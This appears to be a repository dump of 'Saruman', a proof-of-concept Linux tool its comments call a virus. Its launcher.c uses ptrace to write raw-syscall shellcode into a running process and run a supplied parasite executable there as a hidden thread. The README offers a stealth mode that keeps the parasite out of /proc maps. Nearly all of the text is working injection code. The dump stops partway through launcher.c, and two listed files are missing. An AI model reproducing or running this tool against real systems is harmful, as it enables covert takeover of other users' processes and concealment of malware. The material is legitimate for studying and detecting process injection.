Repository: elfmaster/saruman
Branch: master
Commit: 4be8db592d56
Files: 6
Total size: 61.0 KB
Directory structure:
gitextract_g34co9rr/
├── Makefile
├── README.md
├── host.c
├── launcher.c
├── saruman.h
└── server.c
================================================
FILE CONTENTS
================================================
================================================
FILE: Makefile
================================================
all: launcher
launcher: launcher.o
gcc -g launcher.o -o launcher
launcher.o: launcher.c
gcc -DDEBUG -g -c launcher.c
clean:
rm -f *.o launcher saruman parasite
================================================
FILE: README.md
================================================
Saruman v0.1 (Ryan O'Neill) elfmaster@zoho.com
Type make to compile launcher (It will also try to compile a parasite.c file which
is for you too supply). Make sure your parasite executable is compiled -fpic -pie
./launcher <pid> <parasite_executable> <parasite_args, [arg1, arg2, argN]>
NOTE: In this version Saruman doesn't yet support injecting a program that requires command line args
because it is early POC. So <parasite_args> will not actually accept args yet.
./launcher --no-dlopen <pid> <parasite_executable>
When using --no-dlopen it uses a more stealth technique of loading the executable
so that it doesn't show up as /path/to/parasite.exe in the /proc maps file.
Currently this has some bugs and won't work with more complex parasites (To be fixed)
================================================
FILE: host.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
int i, j = 0;
for(;;) {
printf("I am a host (Hopefully I'm not infected)\n");
for (i = 0; i < 500000000; i++) j += 8;
}
exit(0);
}
================================================
FILE: launcher.c
================================================
/* * This source code serves as the parasite launcher for
* the Saruman Virus.
* <elfmaster@zoho.com>
*/
#include "saruman.h"
#include <sys/time.h>
#include <sys/wait.h>
#define STACK_TOP(x) (x - STACK_SIZE)
#define __BREAKPOINT__ __asm__ __volatile__("int3");
#define __RETURN_VALUE__(x) __asm__ __volatile__("mov %0, %%rax\n" :: "g"(x))
#define MAX_PATH 512
#define TMP_PATH "/tmp/.parasite.elf"
/*
* Any functions that we inject as shellcode into a process image
* should have the __PAYLOAD_ATTRIBUTES__, which are defined in
* saruman.h as __attribute__((align(8), __always_inline__))
* __PAYLOAD_KEYWORDS__ is defined as static int volatile
*/
__PAYLOAD_KEYWORDS__ int create_thread(void (*)(void *), void *, unsigned long) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ int load_exec(const char *,uint64_t,uint64_t,uint64_t,uint64_t,uint64_t) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *, void *) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ long evil_ptrace(long, long, void *, void *) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ void * evil_mmap(void *, unsigned long, unsigned long, unsigned long, long, unsigned long) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ uint64_t bootstrap_code(void *, uint64_t, void *) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ long evil_open(const char *, unsigned long) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ int evil_fstat(long, struct stat *) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ long evil_lseek(long, long, unsigned int) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ int evil_read(long, char *, unsigned long) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ size_t evil_write(long, void *, unsigned long) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ int evil_brk(void *addr) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ int evil_mprotect(void *, size_t, int) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ int SYS_mprotect(void *, size_t, int) __PAYLOAD_ATTRIBUTES__;
void dummy_fn(void);
int call_fn(functionPayloads_t func, handle_t *, uint64_t);
void *heapAlloc(size_t);
uint8_t * create_fn_shellcode(void (*)(), size_t);
void prepare_fn_payloads(payloads_t *, handle_t *h);
int map_elf_binary(handle_t *, const char *);
int fixup_got(handle_t *);
struct linking_info *get_reloc_data(handle_t *);
Elf64_Addr resolve_symbol(char *, uint8_t *);
Elf64_Addr get_libc_addr(int);
char * get_section_index(int, uint8_t *);
Elf64_Addr get_sym_from_libc(handle_t *, const char *);
int pt_memset(handle_t *, void *target, size_t len);
int pt_mprotect(handle_t *, void *, size_t, int);
int pt_create_thread(handle_t *h, void (*)(void *), void *, uint64_t);
int pid_detach_direct(pid_t);
void toggle_ptrace_state(handle_t *, int);
int pid_attach(handle_t *);
int pid_detach(handle_t *);
int pid_attach_stateful(handle_t *);
int pid_detach_stateful(handle_t *);
/*
* We will use these pointers to calculate
* the size of our functions. I.E bootstrap_code_size = f2 - f1;
*/
void *f1 = bootstrap_code;
void *f2 = dlopen_load_exec;
void *f3 = load_exec;
void *f4 = evil_read;
void *f5 = evil_open;
void *f6 = evil_brk;
void *f7 = evil_mmap;
void *f8 = evil_lseek;
void *f9 = evil_ptrace;
void *f10 = evil_ptrace;
void *f11 = create_thread;
void *f12 = evil_mprotect;
void *f13 = evil_write;
void *f14 = dummy_fn;
struct {
int no_dlopen;
int isargs;
} opts;
struct arginfo {
char *args[12];
int argc;
} arginfo;
void *heapAlloc(size_t len)
{
uint8_t *chunk = malloc(len);
if (chunk == NULL) {
perror("malloc");
exit(-1);
}
return chunk;
}
/*
* bootstrap_code just creates an anonymous memory
* mapping large enough to hold the parasite loading
* code.
*/
#pragma GCC push_options
#pragma GCC optimize ("O0")
__PAYLOAD_KEYWORDS__ uint64_t bootstrap_code(void * vaddr, uint64_t size, void *stack)
{
volatile void *mem;
/*
* Create a code segment at 0x00C00000 to store load_exec() function
* and other parasite preparation and loading code.
*/
mem = evil_mmap(vaddr,
PAGE_ALIGN_UP(size),
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
-1, 0);
/*
* Create executable segment for ephemeral storage
* of code for custom procedure calls done through
* ptrace. These include syscalls (Such as SYS_mprotect)
* and other simple functions that we want to execute
* within the remote process.
*/
mem = evil_mmap((void *)PT_CALL_REGION,
PT_CALL_REGION_SIZE,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
-1, 0);
/*
* Create stack segment that will be used by the parasite
* thread.
*/
mem = evil_mmap(stack,
STACK_SIZE,
PROT_READ|PROT_WRITE,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_GROWSDOWN,
-1, 0);
__RETURN_VALUE__(mem);
//__asm__ __volatile__("mov %0, %%rax\n" :: "g"(mem));
__BREAKPOINT__;
}
/*
* A version of load_elf_binary() that works with PIE executables
* only.
*/
#define __RTLD_DLOPEN 0x80000000 //glibc internal dlopen flag emulates dlopen behaviour
__PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *path, void *dlopen_addr)
{
void * (*libc_dlopen_mode)(const char *, int) = dlopen_addr;
void *handle = (void *)0xfff; //initialized for debugging
handle = libc_dlopen_mode(path, __RTLD_DLOPEN|RTLD_NOW|RTLD_GLOBAL);
__RETURN_VALUE__(handle);
__BREAKPOINT__;
}
/*
* A simplified load_elf_binary() function that loads the
* position independent parasite executable into the remote
* process address space (But would work with non PIE too)
*/
__PAYLOAD_KEYWORDS__ int load_exec(const char *path,
uint64_t textVaddr,
uint64_t dataVaddr,
uint64_t textSize,
uint64_t dataSize,
uint64_t dataOffset)
{
uint64_t map_addr, brk_addr;
uint32_t off;
uint8_t *data;
volatile void *m1, *m2;
volatile int fd;
fd = evil_open(path, O_RDONLY);
m1 = evil_mmap((void *)_PAGE_ALIGN(textVaddr),
PAGE_ROUND(textSize),
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,
-1, 0);
/*
* Read in text segment to m1
*/
evil_read(fd, (uint8_t *)m1, textSize);
m2 = evil_mmap((void *)_PAGE_ALIGN(dataVaddr),
PAGE_ROUND(dataSize) + PAGE_SIZE,
PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,
-1, 0);
/*
* dataOffset is offset from beginning of file to data segment
*/
evil_lseek(fd, dataOffset, SEEK_SET);
/*
* off is distance from beginning of page aligned data vaddr to start of data p_vaddr
*/
off = dataVaddr - _PAGE_ALIGN(dataVaddr);
data = (uint8_t *)(uint64_t)(m2 + off);
/*
* Read in data segment to m2
*/
evil_read(fd, data, dataSize);
brk_addr = _PAGE_ALIGN(dataVaddr) + dataSize;
evil_brk((void *)PAGE_ROUND(brk_addr));
__RETURN_VALUE__(m2);
__BREAKPOINT__;
}
__PAYLOAD_KEYWORDS__ int evil_read(long fd, char *buf, unsigned long len)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $0, %%rax\n"
"syscall" : : "g"(fd), "g"(buf), "g"(len));
asm("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
__PAYLOAD_KEYWORDS__ long evil_open(const char *path, unsigned long flags)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $2, %%rax\n"
"syscall" : : "g"(path), "g"(flags));
asm ("mov %%rax, %0" : "=r"(ret));
return ret;
}
__PAYLOAD_KEYWORDS__ int evil_brk(void *addr)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov $12, %%rax\n"
"syscall" : : "g"(addr));
asm("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
__PAYLOAD_KEYWORDS__ void * evil_mmap(void *addr, unsigned long len, unsigned long prot, unsigned long flags, long fd, unsigned long off)
{
long mmap_fd = fd;
unsigned long mmap_off = off;
unsigned long mmap_flags = flags;
unsigned long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov %3, %%r10\n"
"mov %4, %%r8\n"
"mov %5, %%r9\n"
"mov $9, %%rax\n"
"syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), "g"(mmap_fd), "g"(mmap_off));
asm ("mov %%rax, %0" : "=r"(ret));
return (void *)ret;
}
__PAYLOAD_KEYWORDS__ long evil_lseek(long fd, long offset, unsigned int whence)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $8, %%rax\n"
"syscall" : : "g"(fd), "g"(offset), "g"(whence));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
__PAYLOAD_KEYWORDS__ long evil_ptrace(long request, long pid, void *addr, void *data)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov %3, %%r10\n"
"mov $101, %%rax\n"
"syscall" : : "g"(request), "g"(pid), "g"(addr), "g"(data));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
__PAYLOAD_KEYWORDS__ int evil_fstat(long fd, struct stat *buf)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $5, %%rax\n"
"syscall" : : "g"(fd), "g"(buf));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
__PAYLOAD_KEYWORDS__ int create_thread(void (*fn)(void *), void *data, unsigned long stack)
{
long retval;
void **newstack;
// unsigned int fnAddr = (unsigned int)(uintptr_t)fn;
// fn = (void (*)(void *))((uintptr_t)fnAddr & ~(uint32_t)0x0);
newstack = (void **)stack;
*--newstack = data;
__asm__ __volatile__(
"syscall \n\t"
"test %0,%0 \n\t"
"jne 1f \n\t"
"call *%3 \n\t"
"mov %2,%0 \n\t"
"xor %%r10, %%r10\n\t"
"xor %%r8, %%r8\n\t"
"xor %%r9, %%r9 \n\t"
"int $0x80 \n\t"
"1:\t"
:"=a" (retval)
:"0" (__NR_clone),"i" (__NR_exit),
"g" (fn),
"D" (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | SIGCHLD),
"S" (newstack));
if (retval < 0) {
retval = -1;
__RETURN_VALUE__(retval);
}
__BREAKPOINT__;
}
__PAYLOAD_KEYWORDS__ int evil_mprotect(void * addr, unsigned long len, int prot)
{
volatile unsigned long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $10, %%rax\n"
"syscall" : : "g"(addr), "g"(len), "g"(prot));
__asm__ volatile("mov %%rax, %0" : "=r"(ret));
}
__PAYLOAD_KEYWORDS__ int SYS_mprotect(void *addr, unsigned long len, int prot)
{
int ret = evil_mprotect(addr, len, prot);
__RETURN_VALUE__(ret);
__BREAKPOINT__;
}
__PAYLOAD_KEYWORDS__ size_t evil_write(long fd, void *buf, unsigned long len)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $1, %%rax\n"
"syscall" : : "g"(fd), "g"(buf), "g"(len));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
#pragma GCC pop_options
/*
* This function is only here so we can calculate
* the size of the previous function (create_thread)
*/
void dummy_fn(void)
{
}
int waitpid2(pid_t pid, int *status, int options)
{
pid_t ret;
do {
ret = waitpid(pid, status, options);
} while (ret == -1 && errno == EINTR);
return ret;
}
void toggle_ptrace_state(handle_t *h, int state)
{
switch (state) {
case PT_ATTACHED:
printf("[+] PT_ATTACHED -> %d\n", h->tasks.pid);
h->tasks.state &= ~PT_DETACHED;
h->tasks.state |= PT_ATTACHED;
break;
case PT_DETACHED:
printf("[+] PT_DETACHED -> %d\n", h->tasks.pid);
h->tasks.state &= ~PT_ATTACHED;
h->tasks.state |= PT_DETACHED;
break;
}
}
int backup_regs_struct(handle_t *h)
{
if (ptrace(PTRACE_GETREGS, h->tasks.pid, NULL, &h->orig_pt_reg) < 0) {
perror("PTRACE_GETREGS");
return -1;
}
memcpy((void *)&h->pt_reg, (void *)&h->orig_pt_reg, sizeof(struct user_regs_struct));
return 0;
}
int restore_regs_struct(handle_t *h)
{
if (ptrace(PTRACE_SETREGS, h->tasks.pid, NULL, &h->orig_pt_reg) < 0) {
perror("PTRACE_SETREGS");
return -1;
}
return 0;
}
int pid_attach_direct(pid_t pid)
{
int status;
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
if (errno) {
fprintf(stderr, "ptrace: pid_attach() failed: %s\n", strerror(errno));
return -1;
}
}
do {
if (waitpid2(pid, &status, 0) < 0)
goto detach;
if (!WIFSTOPPED(status))
goto detach;
if (WSTOPSIG(status) == SIGSTOP)
break;
if ( ptrace(PTRACE_CONT, pid, 0, WSTOPSIG(status)) == -1 )
goto detach;
} while(1);
printf("[+] PT_TID_ATTACHED -> %d\n", pid);
return 0;
detach:
fprintf(stderr, "pid_attach_direct() -> waitpid(): %s\n", strerror(errno));
pid_detach_direct(pid);
return -1;
}
int pid_detach_direct(pid_t pid)
{
if (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {
if (errno) {
fprintf(stderr, "ptrace: pid_detach() failed: %s\n", strerror(errno));
return -1;
}
}
printf("[+] PT_TID_DETACHED -> %d\n", pid);
return 0;
}
int pid_detach(handle_t *h)
{
pid_t pid = h->tasks.pid;
if (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {
if (errno) {
fprintf(stderr, "ptrace: pid_detach() failed: %s\n", strerror(errno));
return -1;
}
}
toggle_ptrace_state(h, PT_DETACHED);
return 0;
}
int pid_detach_stateful(handle_t *h)
{
if (h->tasks.state & PT_DETACHED)
return 0;
if (pid_detach(h) < 0)
return -1;
}
int pid_attach(handle_t *h)
{
int status;
pid_t pid = h->tasks.pid;
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
if (errno) {
fprintf(stderr, "ptrace: pid_attach() failed: %s\n", strerror(errno));
return -1;
}
}
do {
if (waitpid2(pid, &status, 0) < 0)
goto detach;
if (!WIFSTOPPED(status))
goto detach;
if (WSTOPSIG(status) == SIGSTOP)
break;
if ( ptrace(PTRACE_CONT, pid, 0, WSTOPSIG(status)) == -1 )
goto detach;
} while(1);
toggle_ptrace_state(h, PT_ATTACHED);
return 0;
detach:
fprintf(stderr, "pid_attach() -> waitpid(): %s\n", strerror(errno));
pid_detach(h);
return -1;
}
int pid_attach_stateful(handle_t *h)
{
if(h->tasks.state & PT_ATTACHED)
return 0;
if (pid_attach(h) < 0)
return -1;
}
int pid_read(int pid, void *dst, const void *src, size_t len)
{
int sz = len / sizeof(void *);
unsigned char *s = (unsigned char *)src;
unsigned char *d = (unsigned char *)dst;
long word;
while (sz-- != 0) {
word = ptrace(PTRACE_PEEKTEXT, pid, s, NULL);
if (word == -1 && errno) {
fprintf(stderr, "pid_read failed, pid: %d: %s\n", pid, strerror(errno));
return -1;
}
*(long *)d = word;
s += sizeof(long);
d += sizeof(long);
}
return 0;
}
int pid_write(int pid, void *dest, const void *src, size_t len)
{
size_t rem = len % sizeof(void *);
size_t quot = len / sizeof(void *);
unsigned char *s = (unsigned char *) src;
unsigned char *d = (unsigned char *) dest;
while (quot-- != 0) {
if ( ptrace(PTRACE_POKEDATA, pid, d, *(void **)s) == -1 )
goto out_error;
s += sizeof(void *);
d += sizeof(void *);
}
if (rem != 0) {
long w;
unsigned char *wp = (unsigned char *)&w;
w = ptrace(PTRACE_PEEKDATA, pid, d, NULL);
if (w == -1 && errno != 0) {
d -= sizeof(void *) - rem;
w = ptrace(PTRACE_PEEKDATA, pid, d, NULL);
if (w == -1 && errno != 0)
goto out_error;
wp += sizeof(void *) - rem;
}
while (rem-- != 0)
wp[rem] = s[rem];
if (ptrace(PTRACE_POKEDATA, pid, (void *)d, (void *)w) == -1)
goto out_error;
}
return 0;
out_error:
fprintf(stderr, "pid_write() failed, pid: %d: %s\n", pid, strerror(errno));
return -1;
}
/*
* call_fn() allows one to inject a function
* (select by functionPayloads_t) into the remote
* process, and execute it. The return value for
* the function is stored in payloads.function[func].retval
*/
#define SLACK_SIZE 32
int call_fn(functionPayloads_t func, handle_t *h, uint64_t ip)
{
int i, status, argc;
Elf64_Addr entry_point;
uint8_t *shellcode;
uint8_t *sc;
size_t code_size;
struct user_regs_struct *pt_reg = &h->pt_reg;
shellcode = h->payloads.function[func].shellcode;
code_size = h->payloads.function[func].size;
argc = h->payloads.function[func].argc;
if (pid_attach_stateful(h) < 0)
return -1;
if (ptrace(PTRACE_GETREGS, h->tasks.pid, NULL, pt_reg) < 0)
return -1;
entry_point = ip ? ip : h->payloads.function[func].target;
/*
* Which payload type?
*/
switch(h->payloads.function[func].ptype) {
case _PT_FUNCTION:
if (pid_write(h->tasks.pid, (void *)entry_point, (void *)shellcode, code_size) < 0)
return -1;
break;
case _PT_SYSCALL:
sc = (uint8_t *)alloca(ULONG_ROUND(h->payloads.function[func].size) + 16);
#if DEBUG
for (i = 0; i < code_size + 8; i++) {
printf("%02x", shellcode[i]);
if (i % 32 == 0)
printf("\n");
}
#endif
memcpy(sc, shellcode, code_size);
for (i = 0; i < 4; i++)
sc[code_size + i] = 0xCC;
code_size += 4;
if (pid_write(h->tasks.pid, (void *)entry_point, (void *)sc, code_size) < 0)
return -1;
break;
}
pt_reg->rip = entry_point;
switch(argc) {
case 1:
pt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];
break;
case 2:
pt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];
pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];
break;
case 3:
pt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];
pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];
pt_reg->rdx = (uintptr_t)h->payloads.function[func].args[2];
break;
case 4:
pt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];
pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];
pt_reg->rdx = (uintptr_t)h->payloads.function[func].args[2];
pt_reg->rcx = (uintptr_t)h->payloads.function[func].args[3];
break;
case 5:
pt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];
pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];
pt_reg->rdx = (uintptr_t)h->payloads.function[func].args[2];
pt_reg->rcx = (uintptr_t)h->payloads.function[func].args[3];
pt_reg->r8 = (uintptr_t)h->payloads.function[func].args[4];
break;
case 6:
pt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];
pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];
pt_reg->rdx = (uintptr_t)h->payloads.function[func].args[2];
pt_reg->rcx = (uintptr_t)h->payloads.function[func].args[3];
pt_reg->r8 = (uintptr_t)h->payloads.function[func].args[4];
pt_reg->r9 = (uintptr_t)h->payloads.function[func].args[5];
break;
}
if (ptrace(PTRACE_SETREGS, h->tasks.pid, NULL, pt_reg) < 0)
return -1;
if (ptrace(PTRACE_CONT, h->tasks.pid, NULL, NULL) < 0)
return -1;
waitpid2(h->tasks.pid, &status, 0);
if (WSTOPSIG(status) != SIGTRAP) {
fprintf(stderr, "[!] No SIGTRAP received, something went wrong. Signal: %d\n", WSTOPSIG(status));
return -1;
}
/* Get return value */
if (ptrace(PTRACE_GETREGS, h->tasks.pid, NULL, pt_reg) < 0) {
perror("PTRACE_GETREGS");
return -1;
}
h->payloads.function[func].retval = (pt_reg_t)pt_reg->rax;
return 0;
}
int pt_memset(handle_t *h, void *target, size_t len)
{
size_t i;
int sz = len / sizeof(void *);
uint64_t null = 0UL;
uint8_t *s = (uint8_t *)&null;
uint8_t *d = (uint8_t *)target;
int pid = h->tasks.pid;
while(sz-- != 0) {
long word = ptrace(PTRACE_POKETEXT, pid, d, s);
if (word == -1) {
fprintf(stderr, "ptrace_memset failed, pid: %d: %s\n", pid, strerror(errno));
return -1;
}
d += sizeof(long);
}
return 0;
}
int pt_mprotect(handle_t *h, void *addr, size_t len, int prot)
{
struct user_regs_struct pt_reg;
h->payloads.function[SYS_MPROTECT].args[0] = addr; //addr;
h->payloads.function[SYS_MPROTECT].args[1] = (void *)(uintptr_t)len;
h->payloads.function[SYS_MPROTECT].args[2] = (void *)(uintptr_t)prot;
if (call_fn(SYS_MPROTECT, h, PT_CALL_REGION) < 0) {
printf("call_fn(SYS_MPROTECT, ...) failed: %s\n", strerror(errno));
return -1;
}
return (int)h->payloads.function[SYS_MPROTECT].retval;
}
int pt_create_thread(handle_t *h, void (*fn)(void *), void *data, uint64_t stack)
{
struct user_regs_struct pt_reg;
h->payloads.function[CREATE_THREAD].args[0] = (void *)fn;
h->payloads.function[CREATE_THREAD].args[1] = data;
h->payloads.function[CREATE_THREAD].args[2] = (void *)(uint64_t)stack;
if (call_fn(CREATE_THREAD, h, 0) < 0) {
printf("call_fn(CREATE_THREAD, ...) failed: %s\n", strerror(errno));
return -1;
}
printf("retval: %llx\n", h->payloads.function[CREATE_THREAD].retval);
return (int)h->payloads.function[CREATE_THREAD].retval;
}
static int dlopen_launch_parasite(handle_t *h)
{
struct user_regs_struct tid_regs;
int status;
void (*entry)(void *) = (void *)h->entryp;
tid_t tid;
DBG_MSG("[+] Entry point: %p\n", entry);
if (pid_attach_stateful(h) < 0)
return -1;
/*
* zero out stack segment from
*/
pt_memset(h, (void *)STACK_TOP(h->stack.base), STACK_SIZE);
h->tasks.thread_count = 0;
if ((h->tasks.thread[0] = pt_create_thread(h, entry, NULL, (uintptr_t)h->stack.base)) < 0) {
printf("[!] pt_create_thread() failed in process %d\n", h->tasks.pid);
exit(-1);
}
tid = h->tasks.thread[0];
printf("[+] Thread injection succeeded, tid: %d\n", h->tasks.thread[0]);
printf("[+] Saruman successfully injected program: %s\n", h->path);
return 0;
}
static int launch_parasite(handle_t *h)
{
struct user_regs_struct tid_regs;
int status;
void (*entry)(void *) = (void (*)(void *))(h->entryp + h->base);
tid_t tid;
DBG_MSG("[+] Entry point: %p\n", entry);
if (pid_attach_stateful(h) < 0)
return -1;
/*
* zero out stack segment from
*/
pt_memset(h, (void *)STACK_TOP(h->stack.base), STACK_SIZE);
h->tasks.thread_count = 0;
if ((h->tasks.thread[0] = pt_create_thread(h, entry, NULL, (uintptr_t)h->stack.base)) < 0) {
printf("[!] pt_create_thread() failed in process %d\n", h->tasks.pid);
exit(-1);
}
tid = h->tasks.thread[0];
printf("[+] Thread injection succeeded, tid: %d\n", h->tasks.thread[0]);
return 0;
}
/*
* XXX This function was only to test the parasite before
* thread injection was working (Which it is now)
*/
static int launch_parasite_no_thread(handle_t *h)
{
struct user_regs_struct pt_reg = {0};
int status;
void *stackframe;
long null = 0L;
if (pid_attach_stateful(h) < 0)
return -1;
pt_memset(h, (void *)STACK_TOP(h->stack.base), STACK_SIZE);
h->pt_reg.rip = (uint64_t)h->entryp + h->base;
h->pt_reg.rsp = (uint64_t)h->stack.base;
if (ptrace(PTRACE_SETREGS, h->tasks.pid, NULL, &h->pt_reg) < 0) {
perror("PTRACE_SETREGS");
return -1;
}
return 0;
}
int run_exec_loader_dlopen(handle_t *h)
{
size_t codesize;
void *mapped;
struct user_regs_struct pt_reg;
int i;
char buf[4096];
char tmp[32], tmp2[32];
struct linking_info *linfo = h->linfo;
void *ascii_storage = (void *)((unsigned long)h->stack.base - 512);
if (pid_attach_stateful(h) < 0)
return -1;
if (pid_write(h->tasks.pid, (void *)ascii_storage, (void *)h->path, strlen(h->path) + 16) < 0)
return -1;
if (pid_read(h->tasks.pid, (void *)tmp, (void *)ascii_storage, strlen(h->path) + 16) < 0)
return -1;
DBG_MSG("[DEBUG]-> parasite path: %s\n", tmp);
h->payloads.function[DLOPEN_EXEC_LOADER].args[0] = (void *)ascii_storage; /* "./parasite" */
DBG_MSG("[DEBUG]-> address of __libc_dlopen_mode(): %p\n",
h->payloads.function[DLOPEN_EXEC_LOADER].args[1]);
/* NOTE: args[1] is already set to the address of function __libc_dlopen_mode() */
if (call_fn(DLOPEN_EXEC_LOADER, h, 0) < 0) {
printf("call_fn(DLOPEN_EXEC_LOADER, ...) failed: %s\n", strerror(errno));
return -1;
}
printf("DLOPEN_EXEC_LOADER-> ret val: %llx\n", h->payloads.function[DLOPEN_EXEC_LOADER].retval);
return 0;
}
int run_exec_loader(handle_t *h)
{
size_t codesize;
void *mapped;
struct user_regs_struct pt_reg;
int i;
char buf[4096];
char tmp[32];
struct linking_info *linfo = h->linfo;
void *ascii_storage = (void *)((unsigned long)h->stack.base - 512);
if (pid_attach_stateful(h) < 0)
return -1;
if (pid_write(h->tasks.pid, (void *)ascii_storage, (void *)TMP_PATH, strlen(TMP_PATH) + 16) < 0)
return -1;
if (pid_read(h->tasks.pid, (void *)tmp, (void *)ascii_storage, strlen(h->path) + 16) < 0)
return -1;
DBG_MSG("[DEBUG]-> parasite path: %s\n", tmp);
h->payloads.function[EXEC_LOADER].args[0] = (void *)ascii_storage;
if (call_fn(EXEC_LOADER, h, 0) < 0) {
printf("call_fn(EXEC_LOADER, ...) failed: %s\n", strerror(errno));
return -1;
}
printf("ret val: %llx\n", h->payloads.function[EXEC_LOADER].retval);
/*
* XXX We no longer need this code as we handle all of the relocations
* and write the fixed up executable to /tmp/parasite.elf file.
for (i = 0; i < h->linfo[0].count; i++) {
if(!h->linfo[i].resolved)
continue;
if (pid_write(h->tasks.pid, (void *)(h->dataVaddr + linfo[i].gotOffset), (void *)&linfo[i].resolved, sizeof(void *)))
return -1;
}
*/
return 0;
}
/*
* Inject bootstrap code (Which creates a memory mapping for us
to store our executable loading code)
*/
int run_bootstrap(handle_t *h)
{
struct user_regs_struct pt_reg, pt_reg_orig;
char maps[MAX_PATH - 1], line[256], tmp[32];
char *p, *start;
uint8_t *origcode;
FILE *fd;
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdr;
uint32_t codesize;
int i, status, ret;
snprintf(maps, MAX_PATH - 1, "/proc/%d/maps", h->tasks.pid);
if ((fd = fopen(maps, "r")) == NULL) {
fprintf(stderr, "Cannot open %s for reading: %s\n", maps, strerror(errno));
return -1;
}
while (fgets(line, sizeof(line), fd)) {
if ((p = strchr(line, '/')) == NULL)
continue;
*(char *)strchr(p, '\n') = '\0';
h->remote.path = strdup(p);
h->remote.fd = open(h->remote.path, O_RDONLY);
if (h->remote.fd < 0) {
fprintf(stderr, "Canot open %s for reading: %s\n", h->remote.path, strerror(errno));
return -1;
}
for (i = 0, start = tmp, p = line; *p != '-'; i++, p++)
start[i] = *p;
start[i] = '\0';
h->remote.base = strtoul(start, NULL, 16);
break;
}
origcode = (uint8_t *)heapAlloc(codesize = h->payloads.function[BOOTSTRAP_CODE].size);
h->payloads.function[BOOTSTRAP_CODE].target = h->remote.base;
if (pid_attach_stateful(h) < 0)
return -1;
if (pid_read(h->tasks.pid, (void *)origcode, (void *)h->remote.base, codesize) < 0)
return -1;
/*
* h->remote.base contains the address of the hosts text segment where
* we overwrite the ELF file hdr and phdr's with bootstrap_code()
*/
printf("Calling bootstrap code\n");
if (call_fn(BOOTSTRAP_CODE, h, h->remote.base)) {
printf("call_fn(BOOTSTRAP_CODE, ...) failed: %s\n", strerror(errno));
return -1;
}
h->stack.base = (void *)h->payloads.function[BOOTSTRAP_CODE].retval + STACK_SIZE;
DBG_MSG("[+] base (or highest address) of stack: %p\n", h->stack.base);
if (pid_write(h->tasks.pid, (void *)h->remote.base, (void *)origcode, codesize) < 0)
return -1;
/* bootstrap code now has created anonymous memory mapping to store
* our loading code.
*/
return 0;
}
/*
* Allocates a buffer in which it stores the
* bytecode for a function (Such as create_thread)
*/
uint8_t * create_fn_shellcode(void (*fn)(), size_t len)
{
size_t i;
uint8_t *shellcode = (uint8_t *)heapAlloc(len);
uint8_t *p = (uint8_t *)fn;
for (i = 0; i < len; i++)
*(shellcode + i) = *p++;
return shellcode;
}
Elf64_Addr randomize_base(void)
{
uint32_t v;
uint32_t b;
struct timeval tv;
